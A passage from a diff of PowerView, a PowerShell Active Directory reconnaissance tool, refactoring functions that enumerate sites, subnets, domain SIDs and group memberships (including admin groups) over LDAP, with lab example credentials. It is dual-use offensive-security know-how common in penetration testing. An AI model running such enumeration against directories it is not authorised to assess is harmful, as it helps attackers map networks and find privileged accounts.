+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^CN=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
}
- else {
- # otherwise just returning the ADS paths of the OUs
- $_.properties.adspath
+ catch {
+ $IdentityFilter += "(name=$IdentityInstance)"
}
}
- $Results.dispose()
- $OUSearcher.dispose()
}
- catch {
- Write-Warning $_
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
+ }
+
+ if ($PSBoundParameters['GPLink']) {
+ Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
+ $Filter += "(gplink=*$GPLink*)"
}
+
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
+ }
+
+ $SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
+ Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
+
+ if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
+ else { $Results = $SiteSearcher.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $Site = $_
+ }
+ else {
+ $Site = Convert-LDAPProperty -Properties $_.Properties
+ }
+ $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
+ $Site
+ }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
+ }
+ }
+ $SiteSearcher.dispose()
}
}
}
-function Get-NetSite {
+function Get-DomainSubnet {
<#
- .SYNOPSIS
+.SYNOPSIS
- Gets a list of all current sites in a domain.
+Search for all subnets or specific subnets objects in AD.
- .PARAMETER SiteName
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
- Site filter string, wildcards accepted.
+.DESCRIPTION
- .PARAMETER Domain
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties whencreated,usnchanged,...". By default, all subnet objects for
+the current domain are returned.
- The domain to query for sites, defaults to the current domain.
+.PARAMETER Identity
- .PARAMETER DomainController
+An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'),
+or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
- Domain controller to reflect LDAP queries through.
+.PARAMETER SiteName
- .PARAMETER ADSpath
+Only return subnets from the specified SiteName.
- The LDAP source to search through.
+.PARAMETER Domain
- .PARAMETER GUID
+Specifies the domain to use for the query, defaults to the current domain.
- Only return site with the specified GUID in their gplink property.
+.PARAMETER LDAPFilter
- .PARAMETER FullData
+Specifies an LDAP query string that is used to filter Active Directory objects.
- Switch. Return full site objects instead of just object names (the default).
+.PARAMETER Properties
- .PARAMETER PageSize
+Specifies the properties of the output object to retrieve from the server.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER SearchBase
- .PARAMETER Credential
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.PARAMETER Server
- .EXAMPLE
+Specifies an Active Directory server (domain controller) to bind to.
- PS C:\> Get-NetSite -Domain testlab.local -FullData
-
- Returns the full data objects for all sites in testlab.local
-#>
+.PARAMETER SearchScope
- [CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $SiteName = "*",
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- [String]
- $Domain,
+.PARAMETER ResultPageSize
- [String]
- $DomainController,
+Specifies the PageSize to set for the LDAP searcher object.
- [String]
- $ADSpath,
+.PARAMETER ServerTimeLimit
- [String]
- $GUID,
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- [Switch]
- $FullData,
+.PARAMETER SecurityMasks
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- [Management.Automation.PSCredential]
- $Credential
- )
+.PARAMETER Tombstone
- begin {
- $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
- }
- process {
- if($SiteSearcher) {
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- if ($GUID) {
- # if we're filtering for a GUID in .gplink
- $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))"
- }
- else {
- $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"
- }
-
- try {
- $Results = $SiteSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- if ($FullData) {
- # convert/process the LDAP fields for each result
- $Site = Convert-LDAPProperty -Properties $_.Properties
- $Site.PSObject.TypeNames.Add('PowerView.Site')
- $Site
- }
- else {
- # otherwise just return the site name
- $_.properties.name
- }
- }
- $Results.dispose()
- $SiteSearcher.dispose()
- }
- catch {
- Write-Verbose $_
- }
- }
- }
-}
+.PARAMETER FindOne
+Only return one result object.
-function Get-NetSubnet {
-<#
- .SYNOPSIS
-
- Gets a list of all current subnets in a domain.
-
- .PARAMETER SiteName
+.PARAMETER Credential
- Only return subnets from the specified SiteName.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER Domain
+.PARAMETER Raw
- The domain to query for subnets, defaults to the current domain.
+Switch. Return raw results instead of translating the fields into a custom PSObject.
- .PARAMETER DomainController
+.EXAMPLE
- Domain controller to reflect LDAP queries through.
+Get-DomainSubnet
- .PARAMETER ADSpath
+Returns the current subnets in the domain.
- The LDAP source to search through.
+.EXAMPLE
- .PARAMETER FullData
+Get-DomainSubnet *admin* -Domain testlab.local
- Switch. Return full subnet objects instead of just object names (the default).
+Returns all subnets with "admin" in their name in the testlab.local domain.
- .PARAMETER PageSize
+.EXAMPLE
- The PageSize to set for the LDAP searcher object.
+Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
- .PARAMETER Credential
+Returns all subnets with linked to the specified group policy object.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.EXAMPLE
- .EXAMPLE
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainSubnet -Credential $Cred
- PS C:\> Get-NetSubnet
-
- Returns all subnet names in the current domain.
+.OUTPUTS
- .EXAMPLE
+PowerView.Subnet
- PS C:\> Get-NetSubnet -Domain testlab.local -FullData
-
- Returns the full data objects for all subnets in testlab.local
+Custom PSObject with translated subnet property fields.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.Subnet')]
[CmdletBinding()]
Param (
- [Parameter(ValueFromPipeline=$True)]
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [String[]]
+ $Identity,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $SiteName = "*",
+ $SiteName,
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $ADSpath,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
- [Switch]
- $FullData,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
+
+ [Switch]
+ $Tombstone,
+
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
)
- begin {
- $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
+ BEGIN {
+ $SearcherArguments = @{
+ 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $SubnetSearcher = Get-DomainSearcher @SearcherArguments
}
- process {
- if($SubnetSearcher) {
+ PROCESS {
+ if ($SubnetSearcher) {
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^CN=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ catch {
+ $IdentityFilter += "(name=$IdentityInstance)"
+ }
+ }
+ }
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
+ }
- $SubnetSearcher.filter="(&(objectCategory=subnet))"
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
+ }
- try {
- $Results = $SubnetSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- if ($FullData) {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" }
- }
- else {
- # otherwise just return the subnet name and site name
- if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) {
+ $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
+ Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
- $SubnetProperties = @{
- 'Subnet' = $_.properties.name[0]
- }
- try {
- $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0]
- }
- catch {
- $SubnetProperties['Site'] = 'Error'
- }
+ if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
+ else { $Results = $SubnetSearcher.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $Subnet = $_
+ }
+ else {
+ $Subnet = Convert-LDAPProperty -Properties $_.Properties
+ }
+ $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
- New-Object -TypeName PSObject -Property $SubnetProperties
- }
+ if ($PSBoundParameters['SiteName']) {
+ # have to do the filtering after the LDAP query as LDAP doesn't let you specify
+ # wildcards for 'siteobject' :(
+ if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
+ $Subnet
}
+ elseif ($Subnet.siteobject -like "*$SiteName*") {
+ $Subnet
+ }
+ }
+ else {
+ $Subnet
}
- $Results.dispose()
- $SubnetSearcher.dispose()
}
- catch {
- Write-Warning $_
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
+ }
}
+ $SubnetSearcher.dispose()
}
}
}
@@ -5010,244 +8256,459 @@ function Get-NetSubnet {
function Get-DomainSID {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns the SID for the current domain or the specified domain.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer
+
+.DESCRIPTION
+
+Returns the SID for the current domain or the specified domain by executing
+Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
+to search for domain controllers through LDAP. The SID of the returned domain controller
+is then extracted.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER Server
- Gets the SID for the domain.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER Domain
+.PARAMETER Credential
- The domain to query, defaults to the current domain.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER DomainController
+.EXAMPLE
- Domain controller to reflect LDAP queries through.
+Get-DomainSID
- .EXAMPLE
+.EXAMPLE
- C:\> Get-DomainSID -Domain TEST
-
- Returns SID for the domain 'TEST'
+Get-DomainSID -Domain testlab.local
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainSID -Credential $Cred
+
+.OUTPUTS
+
+String
+
+A string representing the specified domain SID.
#>
- param(
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([String])]
+ [CmdletBinding()]
+ Param(
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController
+ $Server,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid
- if($DCSID) {
- $DCSID.Substring(0, $DCSID.LastIndexOf('-'))
+ $SearcherArguments = @{
+ 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid
+
+ if ($DCSID) {
+ $DCSID.SubString(0, $DCSID.LastIndexOf('-'))
}
else {
- Write-Verbose "Error extracting domain SID for $Domain"
+ Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
}
}
-function Get-NetGroup {
+function Get-DomainGroup {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Return all groups or specific group objects in AD.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty
+
+.DESCRIPTION
+
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all group objects for
+the current domain are returned. To return the groups a specific user/group is
+a part of, use -MemberIdentity X to execute token groups enumeration.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
+specifying the group to query for. Wildcards accepted.
+
+.PARAMETER MemberIdentity
+
+A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
+specifying the user/group member to query for group membership.
+
+.PARAMETER AdminCount
+
+Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER Properties
+
+Specifies the properties of the output object to retrieve from the server.
+
+.PARAMETER SearchBase
- Gets a list of all current groups in a domain, or all
- the groups a given user/group object belongs to.
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- .PARAMETER GroupName
+.PARAMETER Server
- The group name to query for, wildcards accepted.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER SID
+.PARAMETER SearchScope
- The group SID to query for.
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER UserName
+.PARAMETER ResultPageSize
- The user name (or group name) to query for all effective
- groups of.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER Filter
+.PARAMETER ServerTimeLimit
- A customized ldap filter string to use, e.g. "(description=*admin*)"
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER Domain
+.PARAMETER SecurityMasks
- The domain to query for groups, defaults to the current domain.
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- .PARAMETER DomainController
+.PARAMETER Tombstone
- Domain controller to reflect LDAP queries through.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .PARAMETER ADSpath
+.PARAMETER FindOne
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Only return one result object.
- .PARAMETER AdminCount
+.PARAMETER Credential
- Switch. Return group with adminCount=1.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER FullData
+.PARAMETER Raw
- Switch. Return full group objects instead of just object names (the default).
+Switch. Return raw results instead of translating the fields into a custom PSObject.
- .PARAMETER RawSids
+.EXAMPLE
- Switch. Return raw SIDs when using "Get-NetGroup -UserName X"
+Get-DomainGroup | select samaccountname
- .PARAMETER PageSize
+samaccountname
+--------------
+WinRMRemoteWMIUsers__
+Administrators
+Users
+Guests
+Print Operators
+Backup Operators
+...
- The PageSize to set for the LDAP searcher object.
+.EXAMPLE
- .PARAMETER Credential
+Get-DomainGroup *admin* | select distinguishedname
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+distinguishedname
+-----------------
+CN=Administrators,CN=Builtin,DC=testlab,DC=local
+CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local
+CN=Schema Admins,CN=Users,DC=testlab,DC=local
+CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
+CN=Domain Admins,CN=Users,DC=testlab,DC=local
+CN=DnsAdmins,CN=Users,DC=testlab,DC=local
+CN=Server Admins,CN=Users,DC=testlab,DC=local
+CN=Desktop Admins,CN=Users,DC=testlab,DC=local
- .PARAMETER AllTypes
+.EXAMPLE
- By default we will retrieve only Security, not Distribution Groups.
+Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl
- .EXAMPLE
+samaccountname
+--------------
+Server Admins
- PS C:\> Get-NetGroup
+.EXAMPLE
- Returns the current security groups in the domain.
+'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose
+VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local
+VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local)))
- .EXAMPLE
+usncreated : 13245
+grouptype : -2147483646
+samaccounttype : 268435456
+samaccountname : Desktop Admins
+whenchanged : 8/10/2016 12:30:30 AM
+objectsid : S-1-5-21-890171859-3433809279-3366196753-1118
+objectclass : {top, group}
+cn : Desktop Admins
+usnchanged : 13255
+dscorepropagationdata : 1/1/1601 12:00:00 AM
+name : Desktop Admins
+distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
+member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
+whencreated : 8/10/2016 12:29:43 AM
+instancetype : 4
+objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71
+objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local
- PS C:\> Get-NetGroup -GroupName *admin*
+.EXAMPLE
- Returns all groups with "admin" in their group name.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainGroup -Credential $Cred
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetGroup -Domain testing -FullData
+Get-Domain | Select-Object -Expand name
+testlab.local
- Returns full group data objects in the 'testing' domain
+'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
+VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins)))
+
+distinguishedname
+-----------------
+CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
+
+.OUTPUTS
+
+PowerView.Group
+
+Custom PSObject with translated group property fields.
#>
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $GroupName = '*',
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [OutputType('PowerView.Group')]
+ [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
+ [ValidateNotNullOrEmpty()]
+ [Alias('UserName')]
[String]
- $SID,
+ $MemberIdentity,
+ [Switch]
+ $AdminCount,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $UserName,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $Filter,
+ $LDAPFilter,
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $Domain,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $ADSpath,
+ $SearchScope = 'Subtree',
- [Switch]
- $AdminCount,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [Switch]
- $FullData,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- [Switch]
- $RawSids,
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
[Switch]
- $AllTypes,
+ $Tombstone,
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
)
- begin {
- $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
- if (!$AllTypes)
- {
- $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"
- }
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $GroupSearcher = Get-DomainSearcher @SearcherArguments
}
- process {
- if($GroupSearcher) {
+ PROCESS {
+ if ($GroupSearcher) {
+ if ($PSBoundParameters['MemberIdentity']) {
- if($AdminCount) {
- Write-Verbose "Checking for adminCount=1"
- $Filter += "(admincount=1)"
- }
+ if ($SearcherArguments['Properties']) {
+ $OldProperties = $SearcherArguments['Properties']
+ }
- if ($UserName) {
- # get the raw user object
- $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1
+ $SearcherArguments['Identity'] = $MemberIdentity
+ $SearcherArguments['Raw'] = $True
- if($User) {
- # convert the user to a directory entry
- $UserDirectoryEntry = $User.GetDirectoryEntry()
+ Get-DomainObject @SearcherArguments | ForEach-Object {
+ # convert the user/group to a directory entry
+ $ObjectDirectoryEntry = $_.GetDirectoryEntry()
- # cause the cache to calculate the token groups for the user
- $UserDirectoryEntry.RefreshCache("tokenGroups")
+ # cause the cache to calculate the token groups for the user/group
+ $ObjectDirectoryEntry.RefreshCache('tokenGroups')
- $UserDirectoryEntry.TokenGroups | ForEach-Object {
+ $ObjectDirectoryEntry.TokenGroups | ForEach-Object {
# convert the token group sid
$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
# ignore the built in groups
- if($GroupSid -notmatch '^S-1-5-32-.*') {
- if($FullData) {
- $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
- $Group.PSObject.TypeNames.Add('PowerView.Group')
+ if ($GroupSid -notmatch '^S-1-5-32-.*') {
+ $SearcherArguments['Identity'] = $GroupSid
+ $SearcherArguments['Raw'] = $False
+ if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
+ $Group = Get-DomainObject @SearcherArguments
+ if ($Group) {
+ $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
$Group
}
- else {
- if($RawSids) {
- $GroupSid
- }
- else {
- Convert-SidToName -SID $GroupSid
- }
- }
}
}
}
- else {
- Write-Warning "UserName '$UserName' failed to resolve."
- }
}
else {
- if ($SID) {
- $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -match '^CN=') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
+ $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ elseif ($IdentityInstance.Contains('\')) {
+ $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
+ if ($ConvertedIdentityInstance) {
+ $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
+ $GroupName = $IdentityInstance.Split('\')[1]
+ $IdentityFilter += "(samAccountName=$GroupName)"
+ $SearcherArguments['Domain'] = $GroupDomain
